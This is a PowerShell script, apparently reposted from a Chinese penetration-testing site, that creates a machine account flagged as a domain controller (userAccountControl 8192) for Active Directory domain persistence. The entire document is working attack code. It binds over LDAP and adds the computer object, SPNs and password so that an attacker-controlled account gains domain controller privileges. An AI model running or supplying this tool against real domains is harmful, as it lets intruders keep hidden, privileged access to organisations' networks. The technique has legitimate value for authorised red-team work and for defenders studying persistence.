Function NewDomainController {<#.SYNOPSIS    This script will create a new domain controller account in the domain for the purpose of domain persistence..DESCRIPTION    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit     field. Different flags represent different user information. The value of this attribute is the sum of all     flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000     and decimal value is 8192, which is used to indicate that the account is the machine account of the domain     controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set,     Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group.     So just change userAccountControl to grant domain controller privileges to normal domain member machines..LINK    https://whoamianony.top/domain-persistence-machine-accounts/.PARAMETER Domain    Specifies the domain name, if omitted, the domain name will be obtained automatically..PARAMETER DomainController    Specifies the FQDN of the domain controller..PARAMETER MachineAccount    Specifies the name of the machine account to be created..PARAMETER Password    Specifies the password of the machine account to be created..OUTPUTS    Output will be shown in the console.NOTES    Version:        0.1    Author:         WHOAMI    Date:           01/18/2022.EXAMPLE    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"#>
    param (        [Parameter(Mandatory = $false)]        [ValidateNotNullOrEmpty()]        [string]$Domain,
        [Parameter(Mandatory = $false)]        [ValidateNotNullOrEmpty()]        [string]$DomainController,
        [Parameter(Mandatory = $false)]        [ValidateNotNullOrEmpty()]        [string]$MachineAccount,
        [Parameter(Mandatory = $false)]        [ValidateNotNullOrEmpty()]        [string]$Password    )

    function FormatStatus([string]$Flag, [string]$Message) {        If($Flag -eq "1") {            Write-Host "[+] " -ForegroundColor:Green -NoNewline            Write-Host $Message        }ElseIf($Flag -eq "0") {            Write-Host "[-] " -ForegroundColor:Red -NoNewline            Write-Host $Message        }    }

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
    if($Password)    {        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')    }
    if(!$DomainController -or !$Domain)    {        try        {            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()        }        catch        {            FormatStatus 0 "$($_.Exception.Message)"            throw        }
        if(!$DomainController)        {            $DomainController = $CurrentDomain.PdcRoleOwner.Name            FormatStatus 1 "Get Domain Controller: $DomainController"        }
        if(!$Domain)        {            $Domain = $CurrentDomain.Name            $Domain = $Domain.ToLower()            FormatStatus 1 "Get Domain Name: $Domain"        }    }
    $_MachineAccount = $MachineAccount
    if($MachineAccount.EndsWith('$'))    {        $SAMAccountName = $_MachineAccount        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)    }    else     {        $SAMAccountName = $_MachineAccount + "$"    }
    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 

    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"    $DC_array = $Domain.Split(".")
    ForEach($DC in $DC_array)    {        $DistinguishedName += ",DC=$DC"    }
    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"
    FormatStatus 1 "Start creating a machine account $MachineAccount"    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
    $connection.SessionOptions.Sealing = $true    $connection.SessionOptions.Signing = $true    $connection.Bind()    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"    $request.DistinguishedName = $DistinguishedName    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null
    try    {        $connection.SendRequest($request) > $null        FormatStatus 1  "Create machine account $MachineAccount successfully"    }    catch    {        FormatStatus 0  "$($_.Exception.Message)"
        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')  {            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"        }
    }}

转自：渗透测试研究中心